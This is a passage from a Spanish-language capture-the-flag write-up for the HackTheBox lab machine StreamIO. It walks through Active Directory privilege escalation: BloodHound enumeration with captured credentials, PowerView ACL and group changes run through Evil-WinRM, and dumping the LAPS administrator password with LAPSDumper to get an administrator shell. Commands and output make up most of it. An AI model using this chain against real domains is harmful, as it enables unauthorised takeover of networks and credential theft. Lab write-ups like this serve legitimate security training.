SMB 10.10.11.158 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
...[snip]...
SMB 10.10.11.158 445 DC [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
.
El confiable BloodHound +
En este momento es buena idea usar BloodHound, para ver posibles metodos de escalar privilegios
❯ bloodhound-python -c All -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb
INFO: Found AD domain: streamio.htb
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Connecting to GC LDAP server: dc.streamio.htb
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 01M 08S
Una vez en BloodHound cargamos los datos.json, y marcamos a NIKK37 y JDgodd como propios
.
Siguiendo como son aconseja BloodHound, con JDgodd podemos escribir sobre Core Staff
Como no podemos conectarnos por Evil-WinRM con JDgodd, lo haremos con el usuario NIKK37
Para ello tendremos que importar el modulo Powerview.ps1
*Evil-WinRM* PS C:\Users\nikk37\Documents>upload Powerview.ps1
nfo: Uploading /opt/PowerView.ps1 to C:\Users\nikk37\Documents\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nikk37\Documents> Import-Module "C:/Users/nikk37/Documents/Powermad.ps1"
*Evil-WinRM* PS C:\Users\nikk37\Documents> $Pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\nikk37\Documents> $Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $Pass)
*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainGroupMember -Identity "Core Staff" -Members "StreamIO\JDgodd" -Credential $Cred
Con esto le asignamos al propio JDgodd el grupo Core Staff y en consecuencia estamos en el grupos LAPS(del ingles, Local Administrator Password Solution)
Ahora, estando en el grupo LAPS podemos con LAPSDumper cambiar de forma TEMPORAL la contraseña del administrador
❯ wget https://raw.githubusercontent.com/n00py/LAPSDumper/main/laps.py
...[snip]...
❯ python3 laps.py -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb
LAPS Dumper - Running at 09-17-2022 02:53:26
DC nUaf7Fz9,8ysY@
Y finalmente ahora con Evil-WinRM podemos conectarnos como Administrator con la contraseña TEMPORAL
❯ evil-winrm -i 10.10.11.158 -u 'administrator' -p 'nUaf7Fz9,8ysY@'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
streamio\administrator
…